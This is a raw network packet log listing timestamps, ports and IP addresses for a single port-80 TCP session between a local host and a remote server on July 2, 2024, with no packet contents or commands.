Jul 2, 2024 04:12:14.616971970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.616987944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617034912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617053032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617765903 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617788076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617804050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617815971 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617836952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617861986 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617872953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617893934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617898941 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617908001 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617928028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617940903 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.617980003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.617990017 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.618006945 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.618016005 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.618019104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.618036032 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.618036985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.618045092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.618062019 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.618088007 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.647927046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.647952080 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.647996902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648046970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648057938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648107052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648122072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648133039 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648161888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648161888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648161888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648161888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648161888 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648183107 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648225069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648235083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648252010 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648257971 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648272991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648293972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648369074 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648380995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648397923 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648406982 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648408890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648425102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648435116 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648457050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648499012 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648509026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648525953 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648540020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648541927 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648576021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648644924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648654938 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648672104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648680925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648694038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648699045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648708105 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648735046 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648755074 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648793936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648824930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648835897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648850918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648861885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648869038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.648870945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648891926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.648906946 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649008036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649019003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649055004 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649060965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649070978 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649076939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649091005 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649091959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649106026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649113894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649120092 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649137020 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649162054 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649300098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649311066 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649327993 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649336100 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649348974 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649363041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649364948 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649377108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649386883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649394989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649410963 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649432898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649470091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649490118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649506092 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649518013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649605989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649631977 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649646044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649650097 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649660110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649673939 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649674892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649687052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649687052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649703979 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649704933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649718046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649728060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649735928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649744987 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649751902 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649761915 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649775028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649777889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649790049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649799109 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649807930 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649823904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649841070 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649857998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649868965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649884939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649895906 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649902105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649914026 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649914980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649924040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649938107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649945974 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649954081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649965048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649977922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.649981976 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.649995089 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650021076 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650091887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650131941 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650139093 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650141954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650166988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650172949 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650180101 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650183916 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650201082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650209904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650219917 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650237083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650393009 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650403023 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650419950 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650432110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650434971 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650446892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650451899 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650456905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650474072 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650477886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650486946 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650494099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650502920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650511980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.650521040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.650547028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672462940 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672492027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672506094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672540903 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672566891 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672580957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672591925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672611952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672616959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672631025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672640085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672648907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672655106 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672662973 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672667980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672691107 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672694921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672698975 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672704935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672719002 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672730923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672732115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672746897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.672755003 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672775984 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.672791958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.707607031 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707631111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707642078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707750082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707763910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707787037 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707799911 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707822084 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.707844973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.707844973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.707876921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.707876921 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.708381891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708420038 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708434105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708453894 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708455086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.708467960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708493948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.708503008 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.708507061 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708520889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708535910 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.708555937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.708568096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.738771915 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.738900900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.738962889 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.738984108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739061117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739073992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739089966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739097118 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739109993 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739144087 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739209890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739381075 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739425898 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739558935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739569902 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739586115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739598036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739613056 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739633083 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739648104 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739660025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739675045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739687920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739698887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739718914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739732981 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739747047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739758015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739765882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739774942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739794016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739799023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739804029 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739815950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739823103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739834070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739847898 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739850044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739862919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739873886 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739877939 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739891052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739893913 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739914894 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739917040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739929914 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739938021 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739945889 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739960909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739968061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739970922 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.739983082 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.739989996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740010023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740025043 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740036011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740037918 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740053892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740061998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740070105 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740078926 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740080118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740091085 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740111113 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740113974 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740120888 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740139961 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740153074 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.740155935 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740174055 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.740196943 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741444111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741452932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741471052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741489887 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741499901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741503000 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741529942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741530895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741543055 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741548061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741570950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741575003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741585016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741588116 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741601944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741607904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741611958 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741626024 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741630077 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741642952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741666079 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741708994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741749048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741749048 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741764069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741774082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741782904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741797924 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741811991 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.741945028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741957903 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741971970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741988897 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.741996050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:14.742001057 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:14.742017031 CEST	80	49705	77.91.77.81	192.168.2.5
